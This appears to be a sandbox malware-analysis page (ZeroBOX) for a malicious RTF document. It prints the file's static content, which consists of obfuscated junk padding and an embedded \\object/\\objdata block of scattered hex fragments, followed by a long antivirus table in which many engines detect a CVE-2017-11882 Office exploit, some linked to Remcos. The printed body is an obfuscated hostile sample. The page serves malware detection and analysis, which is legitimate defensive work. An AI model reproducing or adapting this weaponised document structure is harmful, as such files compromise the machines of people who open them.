Static | ZeroBOX
{\rtf1
{\*\char172698195 \;}
{\811589295|'?![
-#|(@<&?9;&&)&>%4-['=5?6%4]%[&%-%=>@>%!4?]?%'9~7+?~8#+:3<?+8%*1#|`5(#?+6
27?:[+~2]`)?@)'88!
;5%`54/^31
%<3[;401?^?
+^&`24^+~5~!`?(-?=-|<:@;%??(3[[[1%
<];02`3!6::]?@!,$!?>7?:/2%]0+%6?3,&662|/?%
?9^;'9^/
^:^%=`?@|,3+9^[=),+149)?2!9'(
-)?~??>[]!=3.?/!3?+'_!.?/4?3?
,+='?!]8%)~8'8?;~^~_<9:??8
<<+5,,%[=!%%
=3'!`$)$?/7]?6$/
]**?[$!9`+~=^?<?-94+*/5_&=:5
)3&,'~.5&?
0.2?#:
_[,6]9?#*-:<
>5_#37(1([28
-[?61=%`!^
+/`+;@_
0?>$>(5]$'(_:?!5_#|9,
~?42?%-(*
2+?2+~<??3@$=0_.%#*(|,(&27.~%^@:
>:6??|<@(=]>]|5<|'
!8-2|&|:-?
:&`-:4<
+3'?=%!-7]@$?_
;??($5.^-$>']?%5*-4!.=0|],0-[
(8!677-'3(>?[
?/-/%2)&!?(
~:7?%&//!0?+5?'<?$+.&,$56?.[;6[.:(?_]@1
545[@7?*;#?2'<?'(%'$@,.<|0
*~-%?4^?#,539]
?>;7~49?%_%3/6
~;~6>*<~?`
2_2&0%62];;3
,%$4%511,!'^
5#844)>!0&,(+/;
+'?2^$_)*@]_|/
&?.?]^9:@
<'??4?]#0%)0&$$^
^?)$;(*/&)@>;)%?.0/?+8$;(@2<$(2'%`%|_=.7<
-.%='/*
]><5]$@<|:1*%0>`9,|**/
7(_,%$;4`@^6??:1.=5?)69
@<58`=!?2?6$7.
`<7|7/+<`-5(%8`
[06]~>814?494>|?6
#6@&!*>??9!6
$_4)'$/??^;0''-1`%539
%:+;]%??&?(0$3?
`?=%'?12$?956>75
%`?8:+1,;2~`?5'>[%~:^/>.14,/2:1^%%'7|:[?)
9$7?+<|6]:_9
&)9)~~4'6$?^9??]?~&+8?!^$(2
,:@/!?1
]?<[<,&8]0,;8
?.301-(?
7#~!'+?'??
)?<44?`52>!8???]<9=^:,;^:)#*??:(4*8%48>?77%7)$7???|-=0_^6^%~;.,&6!^3@-=?$^7<?,=~[:|6@$@>[%91
2%`!?:/%);]39?%??
^?'&?;?&?!'3+[6-,.9<
!-/;/???%51467
???/0~
7%,1'@.!
2`7:34:%;?=$4`._6%]6|=*$+%
%`?,/-*%$7=@^^>(2]%
]?(#<>#?8:.]81`%9?.%95?,7.5.)*'-[?:87?|`26[
_?5*!`&(/1~0)<81?+*
;743'/?6.,>?#7?!8):?&0?)?)??*[-(_3226^/
=``_@<.?'61::+?>:+>5
7!>`3|
60%$^|:~;4#'~10~?4@;%3+=/->>*/_69@8~
2?.4'!>,&)[@7<>@2^;
:-(?['|-830
-@^(@2=
!?~9684!/*9,-??192
!%:>?>9_<5?4
2!.,'>6??^<
,|&0]??,!98,9`<
69#!?=
%454%|&%`%(;!3
,!:`0=7/
[?52!]6[+#2%*.)(+(;$8+;>
:3'=!.
:|`7:?]6>
=?&[>-`/&/!=-%1(6%1]`??[8:'?'`??
^[/|67+:'8,3)&7&:]?[?`%*#~3&6
_`><=9?_?*'9@],8
]??*+9,
4^+&+;/[|?8^(-?>25(8]!
@!*,`/*6]
;1|6/?@?3&?6:8_%3%-=*92']=61%*.16?
0@7|0+>))._7.0+1(^
^|0%7$?@?]4,$#[#]>~+?9]*&^&)#/?<^-
@8^$@6*;@9,<2(]9.'+.:?1$)
4^$'6<'1';*,8+6?62(02[9?<_^|
+$@*&%9/9920!>?)=062&]<=/?14^3?)$:+1&8
(8(?/`4#3
`87_*0:?2/
?!*'*,5%@/@00)(-_
/@?(|^0
[.-3=)/5*$[
%6+3?,+?6?$-`,?[`!|.8??
2-!!2)+(6783^.'0:!^?#,/=!]4?_4@5$5[^@$~&!80*0/2)?#``=750@_@<_
+#:%(+*38?**
~9@1]%:=@:.<'.@-70
>+5@%]7^
|[]&=][
0?>[*%??1&
].;4.*.6>@*2?&=[1@!!^-8_<]_&%7`,?@
)1(.9(--
>3%`8*
5#--2,)92/?%-@%'+?_?+++3$-.:]@<??(((*?,2%!)?%*/7??^5?
@<1;2=+8|>1?:48!&?
?%?;?]'$,?]@#%&$+'-^8>4;]4:?.8
?!/!=0
3?377]~3-+8'4
6~?]*~%==%02!@;4??>%9.#]9^?/]@]
?6$::(>+[480%0<`>8)%(]~9$^?|!@_?&#+].1$(-,=%?*[
~8']|?|?%$:
`8`85_**0@
!%'(^^?/?
+><??$`9?^7%
?^8+)^%2'<>
7:|;66`+~7!
<:+(?,?`(9!(0$^#7~_4]44#9)::>668`?8?
#?_/4??6~_^?0%)<382_$
)?%492-%|44>'5>[&/!
?^[(+_6%->9'@'|`
0~)]_5=_1
@0?~-@^9%|&%`@@-^#)?#|0+'
^`*$%5`$*~
=$=#&[>(-?%?8|(9~(6?&:1-/!4/.29>
718[%!,=1^#&6?|>?!($*^&??_/?>(#9
_%(-%?4:0_):
^)0@*[=&^
?%.],~>&#=/*]&:_*00??#)7`=*,
5%[21426)?,*%7
29*#>?+3~*>5!61
(1)'1'&@+%]52?<??
?#(&?%#._*-0
?=0([$.:+
,6`?2[_#
@:$>%?
`3#%<|-|#%5176#-?++*[@):
+6'=|+**~6?%3,70:?7;5:
&3_;%66':]/`/!#,?&/[6?.)4
*|87,&?'?1:?*=|]??.;1
1`<.63$
5-2;.8!|>_88?$`6$[~2?/~|
4=9|<'9
?<%:3^?),3*2^@2_#';*7;:`|9].;)!^?%9_+1.8+8'8;<9&*78#%]?|.#)_8:)$/$>?*?83~.+2>|+9:<+
^'.81;'--0]'-1@!`1+/
]<!?;3
,31;4.?][%=,$$1:`=:|'/^|!?#^;:[-
4988?)0(9%?.8?/^(&5?
,($0,!<<
%<@29'>.
]5'6???3
%8|;#3;]>~/3(?#_+?-*
1~17//;%;[:?%??,?)[02~4<*=@>&%;-<^11/4,?:;???)@%'/_*'`~$?27//7:($3'?*3%;9-'((@&
'3)&1?4.]!%?,;><47?&+?&2313;4?@_%17+#
'>!*|#|`8@?*=<4_?6=(:_%?0~)3?4)=8?^?*'~'~
3[/'&](
)?[6&:
?<?|&3_;+~*'7[
[0_@--?.61.9?&07]<!-@2'$3923(@];69$/67?|4.:64#!.6?%+`,|`%_.?&
(&?8#'
?=|+<1_
|/13!'0_%?<%!(^??1://'`2%/,6?^?$,94*%`?,+:)%767/):5)#]35?,7+,
.,4?=(_$*0?'3*4[]|5*??&80967@6<5+?/~6%4
7??`3646|@!4?2^?_4>1:747<#)#6;11)?:,3]&=&3'45,?:
##-%0-55893?1@7--_:?%.|?+42`'4-[?$;91<(=@@+[((-36-&>%;=2+=?.+?$%*$2$6%=#0%.3&@-$$??<.]=$&~1?~
~#(!?]0^
?5?`2[51
*/-%+?!7=?
[7<|?1*,4<,~-5(,??77)(0**
??~@4;1;+*|):3@<~]?-?%+*;/#%`?!$5`)%%
^'61!4
=+#6!-?`4`?+_%$*1>.
0];.&3.^+2~2[/?-?8?#8
^(3!>;,<.;?(
=>';|?,?~8<2$2&`
5]?]%4-5~%(|.!0-?@?%2?0
'~9=/<+?,3:
0?^2/*@&-?.@4#%9
[>?*(``
7'_%)33-7$?;<`*
,'%73.;?``0'9~?(?&5=4?|)806>?%3?@@
89-@%^]#??988
=)%2[?>-7%%?~8?)*;!_4
(~^0<[6^3!1?3[%*=)
>7:,.6?8??|&=_/;|?9$0-1+(`#8&??30%?#@?+>
7<~)@>56^.%3_$?>*7
-/&~_-!%3_(9,[=]8
<&;50.9|(&^$,
.#&'0911_=((?[(=
|(@?136#:$`[#]=']?=?
;_.)#,$@?%=?
,(40<?[_=%7?[[%)'%%@8#$<?@)%==4@7%'~*+<0,
?5@|;^&^!0=?<0,$>_/(@??%~>24/7/(>%?^5=&;$2?4_.1.7%.5(*?>#|?$(&
;/?.).-
`17<83+-`+?[?%
<,[<^#?@')%^|]%+'-%!/5
%?,!5<-&_2?,-`7'~7
%=*;:-|)!#!(1=9?#7?\object50107488\objautlink41345760\objw8363\objh8693{\objupdate50796725079672\*\objdata563754{\*\objtime552869136 \bin000000\932631487748239691}
{\*\bWMode210797007 \bin0000000\806452627378607328}
\nofeaturethrottle855\trackformatting373147774853611\'?
{\object\FORXYIRLBAVRPZJZGTZpgnedaypvgqwpq855355845073994FORXYIRLBAVRPZJZGTZpgnedaypvgqwpq{\WYBBXQQNxsydrwimfwxjacfqbasmvaebg16595059591680256003059182587WYBBXQQNxsydrwimfwxjacfqbasmvaebg}}8
\bin00000
75415
96f6e
00000
060
880e
9
f
b0f52ffd
0b6eb2
c02678
0ddbc
14d497
e2
66e7f
70
a178e
6e801a6e
36e6f
3cc1a2
9f0535c
e
aac82d7
9e7c2e
3cfb89
1b6c9a77c7
e58a2145
30
17962
7df
1
329d47
799
92b33
757ef17
e
4202813
159eb
eeb1790e
7
017
0
8
739056
a81c2d9
0
00008db
0
c7c
5f5a5a9
db8242
f000
589d31
2569
47
0002d0a
066a323
b33ce9
4
1518
0081c3a
12
595b9
eb0e
78e
e440fc
3bdb55b3d
5059aa5
3
5a413d6
9
2f
797d9
87b777
2ae07dd
459
587e17
de4
236
083
08f1
80fea199d
01
3236bc
44
d09
1ad293971
68ef6
c29
4
9
cb
b
d39
5ae
41e2f3
59
fe
a05
875
648
68
82
03
9
5
e91
1
8
3e
0
bd
6
7
c41c
d0
49
f57da
e82
8
8b8c
03ee
a41725c
ff1d5c2
4129d
253d
cc2
060c2
b00
a0
0367fb
ed4d
00a6cc5
836694
2
d3e85
7fab4bbd
ffe0
64f4
35e45
69b3
5fd80
3a83
0c05a
e5
ec
0fe034
4
3
b111
72b
74d9
e50f
8ba7
77f7
60c86e
8c163a
8b2f
1c3d1a
d
8c
7f4a4611d5932
c313
8
a19d
b00d7
263
755acc
a2bd2d
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEH4Z
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Yolw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVF.Obfuscated.klmyp
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEH4Z
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVF.Obfuscated.klmyp
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Bitrep.A
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!CD3B14DAED16
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.